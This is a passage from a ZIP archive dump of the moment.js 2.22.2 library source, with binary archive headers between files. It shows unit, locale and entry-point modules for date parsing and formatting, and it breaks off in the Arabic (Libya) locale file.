addParseToken(['m', 'mm'], MINUTE);

// MOMENTS

export var getSetMinute = makeGetSet('Minutes', false);
PK.��\-���lib/units/second.jsnu�[���import { makeGetSet } from '../moment/get-set';
import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match2 } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { SECOND } from './constants';

// FORMATTING

addFormatToken('s', ['ss', 2], 0, 'second');

// ALIASES

addUnitAlias('second', 's');

// PRIORITY

addUnitPriority('second', 15);

// PARSING

addRegexToken('s',  match1to2);
addRegexToken('ss', match1to2, match2);
addParseToken(['s', 'ss'], SECOND);

// MOMENTS

export var getSetSecond = makeGetSet('Seconds', false);
PK.��\d���eelib/units/millisecond.jsnu�[���import { makeGetSet } from '../moment/get-set';
import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1, match2, match3, match1to3, matchUnsigned } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { MILLISECOND } from './constants';
import toInt from '../utils/to-int';

// FORMATTING

addFormatToken('S', 0, 0, function () {
    return ~~(this.millisecond() / 100);
});

addFormatToken(0, ['SS', 2], 0, function () {
    return ~~(this.millisecond() / 10);
});

addFormatToken(0, ['SSS', 3], 0, 'millisecond');
addFormatToken(0, ['SSSS', 4], 0, function () {
    return this.millisecond() * 10;
});
addFormatToken(0, ['SSSSS', 5], 0, function () {
    return this.millisecond() * 100;
});
addFormatToken(0, ['SSSSSS', 6], 0, function () {
    return this.millisecond() * 1000;
});
addFormatToken(0, ['SSSSSSS', 7], 0, function () {
    return this.millisecond() * 10000;
});
addFormatToken(0, ['SSSSSSSS', 8], 0, function () {
    return this.millisecond() * 100000;
});
addFormatToken(0, ['SSSSSSSSS', 9], 0, function () {
    return this.millisecond() * 1000000;
});


// ALIASES

addUnitAlias('millisecond', 'ms');

// PRIORITY

addUnitPriority('millisecond', 16);

// PARSING

addRegexToken('S',    match1to3, match1);
addRegexToken('SS',   match1to3, match2);
addRegexToken('SSS',  match1to3, match3);

var token;
for (token = 'SSSS'; token.length <= 9; token += 'S') {
    addRegexToken(token, matchUnsigned);
}

function parseMs(input, array) {
    array[MILLISECOND] = toInt(('0.' + input) * 1000);
}

for (token = 'S'; token.length <= 9; token += 'S') {
    addParseToken(token, parseMs);
}
// MOMENTS

export var getSetMillisecond = makeGetSet('Milliseconds', false);
PK.��\�M���lib/units/constants.jsnu�[���export var YEAR = 0;
export var MONTH = 1;
export var DATE = 2;
export var HOUR = 3;
export var MINUTE = 4;
export var SECOND = 5;
export var MILLISECOND = 6;
export var WEEK = 7;
export var WEEKDAY = 8;
PK.��\�:�j��lib/units/week.jsnu�[���import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match2 } from '../parse/regex';
import { addWeekParseToken } from '../parse/token';
import toInt from '../utils/to-int';
import { createLocal } from '../create/local';
import { weekOfYear } from './week-calendar-utils';

// FORMATTING

addFormatToken('w', ['ww', 2], 'wo', 'week');
addFormatToken('W', ['WW', 2], 'Wo', 'isoWeek');

// ALIASES

addUnitAlias('week', 'w');
addUnitAlias('isoWeek', 'W');

// PRIORITIES

addUnitPriority('week', 5);
addUnitPriority('isoWeek', 5);

// PARSING

addRegexToken('w',  match1to2);
addRegexToken('ww', match1to2, match2);
addRegexToken('W',  match1to2);
addRegexToken('WW', match1to2, match2);

addWeekParseToken(['w', 'ww', 'W', 'WW'], function (input, week, config, token) {
    week[token.substr(0, 1)] = toInt(input);
});

// HELPERS

// LOCALES

export function localeWeek (mom) {
    return weekOfYear(mom, this._week.dow, this._week.doy).week;
}

export var defaultLocaleWeek = {
    dow : 0, // Sunday is the first day of the week.
    doy : 6  // The week that contains Jan 1st is the first week of the year.
};

export function localeFirstDayOfWeek () {
    return this._week.dow;
}

export function localeFirstDayOfYear () {
    return this._week.doy;
}

// MOMENTS

export function getSetWeek (input) {
    var week = this.localeData().week(this);
    return input == null ? week : this.add((input - week) * 7, 'd');
}

export function getSetISOWeek (input) {
    var week = weekOfYear(this, 1, 4).week;
    return input == null ? week : this.add((input - week) * 7, 'd');
}
PK.��\h!����lib/units/year.jsnu�[���import { makeGetSet } from '../moment/get-set';
import { addFormatToken } from '../format/format';
import { addUnitAlias } from './aliases';
import { addUnitPriority } from './priorities';
import { addRegexToken, match1to2, match1to4, match1to6, match2, match4, match6, matchSigned } from '../parse/regex';
import { addParseToken } from '../parse/token';
import { hooks } from '../utils/hooks';
import { YEAR } from './constants';
import toInt from '../utils/to-int';

// FORMATTING

addFormatToken('Y', 0, 0, function () {
    var y = this.year();
    return y <= 9999 ? '' + y : '+' + y;
});

addFormatToken(0, ['YY', 2], 0, function () {
    return this.year() % 100;
});

addFormatToken(0, ['YYYY',   4],       0, 'year');
addFormatToken(0, ['YYYYY',  5],       0, 'year');
addFormatToken(0, ['YYYYYY', 6, true], 0, 'year');

// ALIASES

addUnitAlias('year', 'y');

// PRIORITIES

addUnitPriority('year', 1);

// PARSING

addRegexToken('Y',      matchSigned);
addRegexToken('YY',     match1to2, match2);
addRegexToken('YYYY',   match1to4, match4);
addRegexToken('YYYYY',  match1to6, match6);
addRegexToken('YYYYYY', match1to6, match6);

addParseToken(['YYYYY', 'YYYYYY'], YEAR);
addParseToken('YYYY', function (input, array) {
    array[YEAR] = input.length === 2 ? hooks.parseTwoDigitYear(input) : toInt(input);
});
addParseToken('YY', function (input, array) {
    array[YEAR] = hooks.parseTwoDigitYear(input);
});
addParseToken('Y', function (input, array) {
    array[YEAR] = parseInt(input, 10);
});

// HELPERS

export function daysInYear(year) {
    return isLeapYear(year) ? 366 : 365;
}

export function isLeapYear(year) {
    return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0;
}

// HOOKS

hooks.parseTwoDigitYear = function (input) {
    return toInt(input) + (toInt(input) > 68 ? 1900 : 2000);
};

// MOMENTS

export var getSetYear = makeGetSet('FullYear', true);

export function getIsLeapYear () {
    return isLeapYear(this.year());
}
PK.��\a�Bbblib/locale/constructor.jsnu�[���export function Locale(config) {
    if (config != null) {
        this.set(config);
    }
}
PK.��\#�#ddlib/locale/formats.jsnu�[���export var defaultLongDateFormat = {
    LTS  : 'h:mm:ss A',
    LT   : 'h:mm A',
    L    : 'MM/DD/YYYY',
    LL   : 'MMMM D, YYYY',
    LLL  : 'MMMM D, YYYY h:mm A',
    LLLL : 'dddd, MMMM D, YYYY h:mm A'
};

export function longDateFormat (key) {
    var format = this._longDateFormat[key],
        formatUpper = this._longDateFormat[key.toUpperCase()];

    if (format || !formatUpper) {
        return format;
    }

    this._longDateFormat[key] = formatUpper.replace(/MMMM|MM|DD|dddd/g, function (val) {
        return val.slice(1);
    });

    return this._longDateFormat[key];
}
PK.��\����lib/locale/calendar.jsnu�[���export var defaultCalendar = {
    sameDay : '[Today at] LT',
    nextDay : '[Tomorrow at] LT',
    nextWeek : 'dddd [at] LT',
    lastDay : '[Yesterday at] LT',
    lastWeek : '[Last] dddd [at] LT',
    sameElse : 'L'
};

import isFunction from '../utils/is-function';

export function calendar (key, mom, now) {
    var output = this._calendar[key] || this._calendar['sameElse'];
    return isFunction(output) ? output.call(mom, now) : output;
}
PK.��\������lib/locale/base-config.jsnu�[���import { defaultCalendar } from './calendar';
import { defaultLongDateFormat } from './formats';
import { defaultInvalidDate } from './invalid';
import { defaultOrdinal, defaultDayOfMonthOrdinalParse } from './ordinal';
import { defaultRelativeTime } from './relative';

// months
import {
    defaultLocaleMonths,
    defaultLocaleMonthsShort,
} from '../units/month';

// week
import { defaultLocaleWeek } from '../units/week';

// weekdays
import {
    defaultLocaleWeekdays,
    defaultLocaleWeekdaysMin,
    defaultLocaleWeekdaysShort,
} from '../units/day-of-week';

// meridiem
import { defaultLocaleMeridiemParse } from '../units/hour';

export var baseConfig = {
    calendar: defaultCalendar,
    longDateFormat: defaultLongDateFormat,
    invalidDate: defaultInvalidDate,
    ordinal: defaultOrdinal,
    dayOfMonthOrdinalParse: defaultDayOfMonthOrdinalParse,
    relativeTime: defaultRelativeTime,

    months: defaultLocaleMonths,
    monthsShort: defaultLocaleMonthsShort,

    week: defaultLocaleWeek,

    weekdays: defaultLocaleWeekdays,
    weekdaysMin: defaultLocaleWeekdaysMin,
    weekdaysShort: defaultLocaleWeekdaysShort,

    meridiemParse: defaultLocaleMeridiemParse
};
PK.��\܋����lib/locale/ordinal.jsnu�[���export var defaultOrdinal = '%d';
export var defaultDayOfMonthOrdinalParse = /\d{1,2}/;

export function ordinal (number) {
    return this._ordinal.replace('%d', number);
}

PK.��\���|MMlib/locale/locale.jsnu�[���// Side effect imports
import './prototype';

import {
    getSetGlobalLocale,
    defineLocale,
    updateLocale,
    getLocale,
    listLocales
} from './locales';

import {
    listMonths,
    listMonthsShort,
    listWeekdays,
    listWeekdaysShort,
    listWeekdaysMin
} from './lists';

export {
    getSetGlobalLocale,
    defineLocale,
    updateLocale,
    getLocale,
    listLocales,
    listMonths,
    listMonthsShort,
    listWeekdays,
    listWeekdaysShort,
    listWeekdaysMin
};

import { deprecate } from '../utils/deprecate';
import { hooks } from '../utils/hooks';

hooks.lang = deprecate('moment.lang is deprecated. Use moment.locale instead.', getSetGlobalLocale);
hooks.langData = deprecate('moment.langData is deprecated. Use moment.localeData instead.', getLocale);

import './en';
PK.��\O wwlib/locale/invalid.jsnu�[���export var defaultInvalidDate = 'Invalid date';

export function invalidDate () {
    return this._invalidDate;
}
PK.��\�gc��lib/locale/set.jsnu�[���import isFunction from '../utils/is-function';
import extend from '../utils/extend';
import isObject from '../utils/is-object';
import hasOwnProp from '../utils/has-own-prop';

export function set (config) {
    var prop, i;
    for (i in config) {
        prop = config[i];
        if (isFunction(prop)) {
            this[i] = prop;
        } else {
            this['_' + i] = prop;
        }
    }
    this._config = config;
    // Lenient ordinal parsing accepts just a number in addition to
    // number + (possibly) stuff coming from _dayOfMonthOrdinalParse.
    // TODO: Remove "ordinalParse" fallback in next major release.
    this._dayOfMonthOrdinalParseLenient = new RegExp(
        (this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) +
            '|' + (/\d{1,2}/).source);
}

export function mergeConfigs(parentConfig, childConfig) {
    var res = extend({}, parentConfig), prop;
    for (prop in childConfig) {
        if (hasOwnProp(childConfig, prop)) {
            if (isObject(parentConfig[prop]) && isObject(childConfig[prop])) {
                res[prop] = {};
                extend(res[prop], parentConfig[prop]);
                extend(res[prop], childConfig[prop]);
            } else if (childConfig[prop] != null) {
                res[prop] = childConfig[prop];
            } else {
                delete res[prop];
            }
        }
    }
    for (prop in parentConfig) {
        if (hasOwnProp(parentConfig, prop) &&
                !hasOwnProp(childConfig, prop) &&
                isObject(parentConfig[prop])) {
            // make sure changes to properties don't modify parent config
            res[prop] = extend({}, res[prop]);
        }
    }
    return res;
}
PK.��\L����lib/locale/en.jsnu�[���import './prototype';
import { getSetGlobalLocale } from './locales';
import toInt from '../utils/to-int';

getSetGlobalLocale('en', {
    dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (toInt(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    }
});
PK.��\�V�FFlib/locale/pre-post-format.jsnu�[���export function preParsePostFormat (string) {
    return string;
}
PK.��\q�R�\\lib/locale/relative.jsnu�[���export var defaultRelativeTime = {
    future : 'in %s',
    past   : '%s ago',
    s  : 'a few seconds',
    ss : '%d seconds',
    m  : 'a minute',
    mm : '%d minutes',
    h  : 'an hour',
    hh : '%d hours',
    d  : 'a day',
    dd : '%d days',
    M  : 'a month',
    MM : '%d months',
    y  : 'a year',
    yy : '%d years'
};

import isFunction from '../utils/is-function';

export function relativeTime (number, withoutSuffix, string, isFuture) {
    var output = this._relativeTime[string];
    return (isFunction(output)) ?
        output(number, withoutSuffix, string, isFuture) :
        output.replace(/%d/i, number);
}

export function pastFuture (diff, output) {
    var format = this._relativeTime[diff > 0 ? 'future' : 'past'];
    return isFunction(format) ? format(output) : format.replace(/%s/i, output);
}
PK.��\X)�\��lib/locale/lists.jsnu�[���import isNumber from '../utils/is-number';
import { getLocale } from './locales';
import { createUTC } from '../create/utc';

function get (format, index, field, setter) {
    var locale = getLocale();
    var utc = createUTC().set(setter, index);
    return locale[field](utc, format);
}

function listMonthsImpl (format, index, field) {
    if (isNumber(format)) {
        index = format;
        format = undefined;
    }

    format = format || '';

    if (index != null) {
        return get(format, index, field, 'month');
    }

    var i;
    var out = [];
    for (i = 0; i < 12; i++) {
        out[i] = get(format, i, field, 'month');
    }
    return out;
}

// ()
// (5)
// (fmt, 5)
// (fmt)
// (true)
// (true, 5)
// (true, fmt, 5)
// (true, fmt)
function listWeekdaysImpl (localeSorted, format, index, field) {
    if (typeof localeSorted === 'boolean') {
        if (isNumber(format)) {
            index = format;
            format = undefined;
        }

        format = format || '';
    } else {
        format = localeSorted;
        index = format;
        localeSorted = false;

        if (isNumber(format)) {
            index = format;
            format = undefined;
        }

        format = format || '';
    }

    var locale = getLocale(),
        shift = localeSorted ? locale._week.dow : 0;

    if (index != null) {
        return get(format, (index + shift) % 7, field, 'day');
    }

    var i;
    var out = [];
    for (i = 0; i < 7; i++) {
        out[i] = get(format, (i + shift) % 7, field, 'day');
    }
    return out;
}

export function listMonths (format, index) {
    return listMonthsImpl(format, index, 'months');
}

export function listMonthsShort (format, index) {
    return listMonthsImpl(format, index, 'monthsShort');
}

export function listWeekdays (localeSorted, format, index) {
    return listWeekdaysImpl(localeSorted, format, index, 'weekdays');
}

export function listWeekdaysShort (localeSorted, format, index) {
    return listWeekdaysImpl(localeSorted, format, index, 'weekdaysShort');
}

export function listWeekdaysMin (localeSorted, format, index) {
    return listWeekdaysImpl(localeSorted, format, index, 'weekdaysMin');
}
PK.��\�y[�IIlib/locale/locales.jsnu�[���import isArray from '../utils/is-array';
import hasOwnProp from '../utils/has-own-prop';
import isUndefined from '../utils/is-undefined';
import compareArrays from '../utils/compare-arrays';
import { deprecateSimple } from '../utils/deprecate';
import { mergeConfigs } from './set';
import { Locale } from './constructor';
import keys from '../utils/keys';

import { baseConfig } from './base-config';

// internal storage for locale config files
var locales = {};
var localeFamilies = {};
var globalLocale;

function normalizeLocale(key) {
    return key ? key.toLowerCase().replace('_', '-') : key;
}

// pick the locale from the array
// try ['en-au', 'en-gb'] as 'en-au', 'en-gb', 'en', as in move through the list trying each
// substring from most specific to least, but move to the next array item if it's a more specific variant than the current root
function chooseLocale(names) {
    var i = 0, j, next, locale, split;

    while (i < names.length) {
        split = normalizeLocale(names[i]).split('-');
        j = split.length;
        next = normalizeLocale(names[i + 1]);
        next = next ? next.split('-') : null;
        while (j > 0) {
            locale = loadLocale(split.slice(0, j).join('-'));
            if (locale) {
                return locale;
            }
            if (next && next.length >= j && compareArrays(split, next, true) >= j - 1) {
                //the next array item is better than a shallower substring of this one
                break;
            }
            j--;
        }
        i++;
    }
    return globalLocale;
}

function loadLocale(name) {
    var oldLocale = null;
    // TODO: Find a better way to register and load all the locales in Node
    if (!locales[name] && (typeof module !== 'undefined') &&
            module && module.exports) {
        try {
            oldLocale = globalLocale._abbr;
            var aliasedRequire = require;
            aliasedRequire('./locale/' + name);
            getSetGlobalLocale(oldLocale);
        } catch (e) {}
    }
    return locales[name];
}

// This function will load locale and then set the global locale.  If
// no arguments are passed in, it will simply return the current global
// locale key.
export function getSetGlobalLocale (key, values) {
    var data;
    if (key) {
        if (isUndefined(values)) {
            data = getLocale(key);
        }
        else {
            data = defineLocale(key, values);
        }

        if (data) {
            // moment.duration._locale = moment._locale = data;
            globalLocale = data;
        }
        else {
            if ((typeof console !==  'undefined') && console.warn) {
                //warn user if arguments are passed but the locale could not be set
                console.warn('Locale ' + key +  ' not found. Did you forget to load it?');
            }
        }
    }

    return globalLocale._abbr;
}

export function defineLocale (name, config) {
    if (config !== null) {
        var locale, parentConfig = baseConfig;
        config.abbr = name;
        if (locales[name] != null) {
            deprecateSimple('defineLocaleOverride',
                    'use moment.updateLocale(localeName, config) to change ' +
                    'an existing locale. moment.defineLocale(localeName, ' +
                    'config) should only be used for creating a new locale ' +
                    'See http://momentjs.com/guides/#/warnings/define-locale/ for more info.');
            parentConfig = locales[name]._config;
        } else if (config.parentLocale != null) {
            if (locales[config.parentLocale] != null) {
                parentConfig = locales[config.parentLocale]._config;
            } else {
                locale = loadLocale(config.parentLocale);
                if (locale != null) {
                    parentConfig = locale._config;
                } else {
                    if (!localeFamilies[config.parentLocale]) {
                        localeFamilies[config.parentLocale] = [];
                    }
                    localeFamilies[config.parentLocale].push({
                        name: name,
                        config: config
                    });
                    return null;
                }
            }
        }
        locales[name] = new Locale(mergeConfigs(parentConfig, config));

        if (localeFamilies[name]) {
            localeFamilies[name].forEach(function (x) {
                defineLocale(x.name, x.config);
            });
        }

        // backwards compat for now: also set the locale
        // make sure we set the locale AFTER all child locales have been
        // created, so we won't end up with the child locale set.
        getSetGlobalLocale(name);


        return locales[name];
    } else {
        // useful for testing
        delete locales[name];
        return null;
    }
}

export function updateLocale(name, config) {
    if (config != null) {
        var locale, tmpLocale, parentConfig = baseConfig;
        // MERGE
        tmpLocale = loadLocale(name);
        if (tmpLocale != null) {
            parentConfig = tmpLocale._config;
        }
        config = mergeConfigs(parentConfig, config);
        locale = new Locale(config);
        locale.parentLocale = locales[name];
        locales[name] = locale;

        // backwards compat for now: also set the locale
        getSetGlobalLocale(name);
    } else {
        // pass null for config to unupdate, useful for tests
        if (locales[name] != null) {
            if (locales[name].parentLocale != null) {
                locales[name] = locales[name].parentLocale;
            } else if (locales[name] != null) {
                delete locales[name];
            }
        }
    }
    return locales[name];
}

// returns locale data
export function getLocale (key) {
    var locale;

    if (key && key._locale && key._locale._abbr) {
        key = key._locale._abbr;
    }

    if (!key) {
        return globalLocale;
    }

    if (!isArray(key)) {
        //short-circuit everything else
        locale = loadLocale(key);
        if (locale) {
            return locale;
        }
        key = [key];
    }

    return chooseLocale(key);
}

export function listLocales() {
    return keys(locales);
}
PK.��\Alib/locale/prototype.jsnu�[���import { Locale } from './constructor';

var proto = Locale.prototype;

import { calendar } from './calendar';
import { longDateFormat } from './formats';
import { invalidDate } from './invalid';
import { ordinal } from './ordinal';
import { preParsePostFormat } from './pre-post-format';
import { relativeTime, pastFuture } from './relative';
import { set } from './set';

proto.calendar        = calendar;
proto.longDateFormat  = longDateFormat;
proto.invalidDate     = invalidDate;
proto.ordinal         = ordinal;
proto.preparse        = preParsePostFormat;
proto.postformat      = preParsePostFormat;
proto.relativeTime    = relativeTime;
proto.pastFuture      = pastFuture;
proto.set             = set;

// Month
import {
    localeMonthsParse,
    localeMonths,
    localeMonthsShort,
    monthsRegex,
    monthsShortRegex
} from '../units/month';

proto.months            =        localeMonths;
proto.monthsShort       =        localeMonthsShort;
proto.monthsParse       =        localeMonthsParse;
proto.monthsRegex       = monthsRegex;
proto.monthsShortRegex  = monthsShortRegex;

// Week
import { localeWeek, localeFirstDayOfYear, localeFirstDayOfWeek } from '../units/week';
proto.week = localeWeek;
proto.firstDayOfYear = localeFirstDayOfYear;
proto.firstDayOfWeek = localeFirstDayOfWeek;

// Day of Week
import {
    localeWeekdaysParse,
    localeWeekdays,
    localeWeekdaysMin,
    localeWeekdaysShort,

    weekdaysRegex,
    weekdaysShortRegex,
    weekdaysMinRegex
} from '../units/day-of-week';

proto.weekdays       =        localeWeekdays;
proto.weekdaysMin    =        localeWeekdaysMin;
proto.weekdaysShort  =        localeWeekdaysShort;
proto.weekdaysParse  =        localeWeekdaysParse;

proto.weekdaysRegex       =        weekdaysRegex;
proto.weekdaysShortRegex  =        weekdaysShortRegex;
proto.weekdaysMinRegex    =        weekdaysMinRegex;

// Hours
import { localeIsPM, localeMeridiem } from '../units/hour';

proto.isPM = localeIsPM;
proto.meridiem = localeMeridiem;
PK.��\�[�'
'
	moment.jsnu�[���//! moment.js
//! version : 2.22.2
//! authors : Tim Wood, Iskren Chernev, Moment.js contributors
//! license : MIT
//! momentjs.com

import { hooks as moment, setHookCallback } from './lib/utils/hooks';

moment.version = '2.22.2';

import {
    min,
    max,
    now,
    isMoment,
    momentPrototype as fn,
    createUTC       as utc,
    createUnix      as unix,
    createLocal     as local,
    createInvalid   as invalid,
    createInZone    as parseZone
} from './lib/moment/moment';

import {
    getCalendarFormat
} from './lib/moment/calendar';

import {
    defineLocale,
    updateLocale,
    getSetGlobalLocale as locale,
    getLocale          as localeData,
    listLocales        as locales,
    listMonths         as months,
    listMonthsShort    as monthsShort,
    listWeekdays       as weekdays,
    listWeekdaysMin    as weekdaysMin,
    listWeekdaysShort  as weekdaysShort
} from './lib/locale/locale';

import {
    isDuration,
    createDuration              as duration,
    getSetRelativeTimeRounding  as relativeTimeRounding,
    getSetRelativeTimeThreshold as relativeTimeThreshold
} from './lib/duration/duration';

import { normalizeUnits } from './lib/units/units';

import isDate from './lib/utils/is-date';

setHookCallback(local);

moment.fn                    = fn;
moment.min                   = min;
moment.max                   = max;
moment.now                   = now;
moment.utc                   = utc;
moment.unix                  = unix;
moment.months                = months;
moment.isDate                = isDate;
moment.locale                = locale;
moment.invalid               = invalid;
moment.duration              = duration;
moment.isMoment              = isMoment;
moment.weekdays              = weekdays;
moment.parseZone             = parseZone;
moment.localeData            = localeData;
moment.isDuration            = isDuration;
moment.monthsShort           = monthsShort;
moment.weekdaysMin           = weekdaysMin;
moment.defineLocale          = defineLocale;
moment.updateLocale          = updateLocale;
moment.locales               = locales;
moment.weekdaysShort         = weekdaysShort;
moment.normalizeUnits        = normalizeUnits;
moment.relativeTimeRounding  = relativeTimeRounding;
moment.relativeTimeThreshold = relativeTimeThreshold;
moment.calendarFormat        = getCalendarFormat;
moment.prototype             = fn;

// currently HTML5 input type only supports 24-hour formats
moment.HTML5_FMT = {
    DATETIME_LOCAL: 'YYYY-MM-DDTHH:mm',             // <input type="datetime-local" />
    DATETIME_LOCAL_SECONDS: 'YYYY-MM-DDTHH:mm:ss',  // <input type="datetime-local" step="1" />
    DATETIME_LOCAL_MS: 'YYYY-MM-DDTHH:mm:ss.SSS',   // <input type="datetime-local" step="0.001" />
    DATE: 'YYYY-MM-DD',                             // <input type="date" />
    TIME: 'HH:mm',                                  // <input type="time" />
    TIME_SECONDS: 'HH:mm:ss',                       // <input type="time" step="1" />
    TIME_MS: 'HH:mm:ss.SSS',                        // <input type="time" step="0.001" />
    WEEK: 'YYYY-[W]WW',                             // <input type="week" />
    MONTH: 'YYYY-MM'                                // <input type="month" />
};

export default moment;
PK.��\ˢ��D	D	locale/ms.jsnu�[���//! moment.js locale configuration
//! locale : Malay [ms]
//! author : Weldan Jamili : https://github.com/weldan

import moment from '../moment';

export default moment.defineLocale('ms', {
    months : 'Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember'.split('_'),
    monthsShort : 'Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis'.split('_'),
    weekdays : 'Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu'.split('_'),
    weekdaysShort : 'Ahd_Isn_Sel_Rab_Kha_Jum_Sab'.split('_'),
    weekdaysMin : 'Ah_Is_Sl_Rb_Km_Jm_Sb'.split('_'),
    longDateFormat : {
        LT : 'HH.mm',
        LTS : 'HH.mm.ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY [pukul] HH.mm',
        LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm'
    },
    meridiemParse: /pagi|tengahari|petang|malam/,
    meridiemHour: function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'pagi') {
            return hour;
        } else if (meridiem === 'tengahari') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === 'petang' || meridiem === 'malam') {
            return hour + 12;
        }
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours < 11) {
            return 'pagi';
        } else if (hours < 15) {
            return 'tengahari';
        } else if (hours < 19) {
            return 'petang';
        } else {
            return 'malam';
        }
    },
    calendar : {
        sameDay : '[Hari ini pukul] LT',
        nextDay : '[Esok pukul] LT',
        nextWeek : 'dddd [pukul] LT',
        lastDay : '[Kelmarin pukul] LT',
        lastWeek : 'dddd [lepas pukul] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'dalam %s',
        past : '%s yang lepas',
        s : 'beberapa saat',
        ss : '%d saat',
        m : 'seminit',
        mm : '%d minit',
        h : 'sejam',
        hh : '%d jam',
        d : 'sehari',
        dd : '%d hari',
        M : 'sebulan',
        MM : '%d bulan',
        y : 'setahun',
        yy : '%d tahun'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\��>(OOlocale/sr.jsnu�[���//! moment.js locale configuration
//! locale : Serbian [sr]
//! author : Milan Janačković<milanjanackovic@gmail.com> : https://github.com/milan-j

import moment from '../moment';

var translator = {
    words: { //Different grammatical cases
        ss: ['sekunda', 'sekunde', 'sekundi'],
        m: ['jedan minut', 'jedne minute'],
        mm: ['minut', 'minute', 'minuta'],
        h: ['jedan sat', 'jednog sata'],
        hh: ['sat', 'sata', 'sati'],
        dd: ['dan', 'dana', 'dana'],
        MM: ['mesec', 'meseca', 'meseci'],
        yy: ['godina', 'godine', 'godina']
    },
    correctGrammaticalCase: function (number, wordKey) {
        return number === 1 ? wordKey[0] : (number >= 2 && number <= 4 ? wordKey[1] : wordKey[2]);
    },
    translate: function (number, withoutSuffix, key) {
        var wordKey = translator.words[key];
        if (key.length === 1) {
            return withoutSuffix ? wordKey[0] : wordKey[1];
        } else {
            return number + ' ' + translator.correctGrammaticalCase(number, wordKey);
        }
    }
};

export default moment.defineLocale('sr', {
    months: 'januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar'.split('_'),
    monthsShort: 'jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.'.split('_'),
    monthsParseExact: true,
    weekdays: 'nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota'.split('_'),
    weekdaysShort: 'ned._pon._uto._sre._čet._pet._sub.'.split('_'),
    weekdaysMin: 'ne_po_ut_sr_če_pe_su'.split('_'),
    weekdaysParseExact : true,
    longDateFormat: {
        LT: 'H:mm',
        LTS : 'H:mm:ss',
        L: 'DD.MM.YYYY',
        LL: 'D. MMMM YYYY',
        LLL: 'D. MMMM YYYY H:mm',
        LLLL: 'dddd, D. MMMM YYYY H:mm'
    },
    calendar: {
        sameDay: '[danas u] LT',
        nextDay: '[sutra u] LT',
        nextWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[u] [nedelju] [u] LT';
                case 3:
                    return '[u] [sredu] [u] LT';
                case 6:
                    return '[u] [subotu] [u] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[u] dddd [u] LT';
            }
        },
        lastDay  : '[juče u] LT',
        lastWeek : function () {
            var lastWeekDays = [
                '[prošle] [nedelje] [u] LT',
                '[prošlog] [ponedeljka] [u] LT',
                '[prošlog] [utorka] [u] LT',
                '[prošle] [srede] [u] LT',
                '[prošlog] [četvrtka] [u] LT',
                '[prošlog] [petka] [u] LT',
                '[prošle] [subote] [u] LT'
            ];
            return lastWeekDays[this.day()];
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'za %s',
        past   : 'pre %s',
        s      : 'nekoliko sekundi',
        ss     : translator.translate,
        m      : translator.translate,
        mm     : translator.translate,
        h      : translator.translate,
        hh     : translator.translate,
        d      : 'dan',
        dd     : translator.translate,
        M      : 'mesec',
        MM     : translator.translate,
        y      : 'godinu',
        yy     : translator.translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\V�&��locale/ar-ly.jsnu�[���//! moment.js locale configuration
//! locale : Arabic (Lybia) [ar-ly]
//! author : Ali Hmer: https://github.com/kikoanis

import moment from '../moment';

var symbolMap = {
    '1': '1',
    '2': '2',
    '3': '3',
    '4': '4',
    '5': '5',
    '6': '6',
    '7': '7',
    '8': '8',
    '9': '9',
    '0': '0'
}, pluralForm = function (n) {
    return n === 0 ? 0 : n === 1 ? 1 : n === 2 ? 2 : n % 100 >= 3 && n % 100 <= 10 ? 3 : n % 100 >= 11 ? 4 : 5;
}, plurals = {
    s : ['أقل من ثانية', 'ثانية واحدة', ['ثانيتان', 'ثانيتين'], '%d ثوان', '%d ثانية', '%d ثانية'],
    m : ['أقل من دقيقة', 'دقيقة واحدة', ['دقيقتان', 'دقيقتين'], '%d دقائق', '%d دقيقة', '%d دقيقة'],
    h : ['أقل من ساعة', 'ساعة واحدة', ['ساعتان', 'ساعتين'], '%d ساعات', '%d ساعة', '%d ساعة'],
    d : ['أقل من يوم', 'يوم واحد', ['يومان', 'يومين'], '%d أيام', '%d يومًا', '%d يوم'],
    M : ['أقل من شهر', 'شهر واحد', ['شهران', 'شهرين'], '%d أشهر', '%d شهرا', '%d شهر'],
    y : ['أقل من عام', 'عام واحد', ['عامان', 'عامين'], '%d أعوام', '%d عامًا', '%d عام']
}, pluralize = function (u) {
    return function (number, withoutSuffix, string, isFuture) {
        var f = pluralForm(number),
            str = plurals[u][pluralForm(number)];
        if (f === 2) {
            str = str[withoutSuffix ? 0 : 1];
        }
        return str.replace(/%d/i, number);
    };
}, months = [
    'يناير',
    'فبراير',
    'مارس',
    'أبريل',
    'مايو',
    'يونيو',
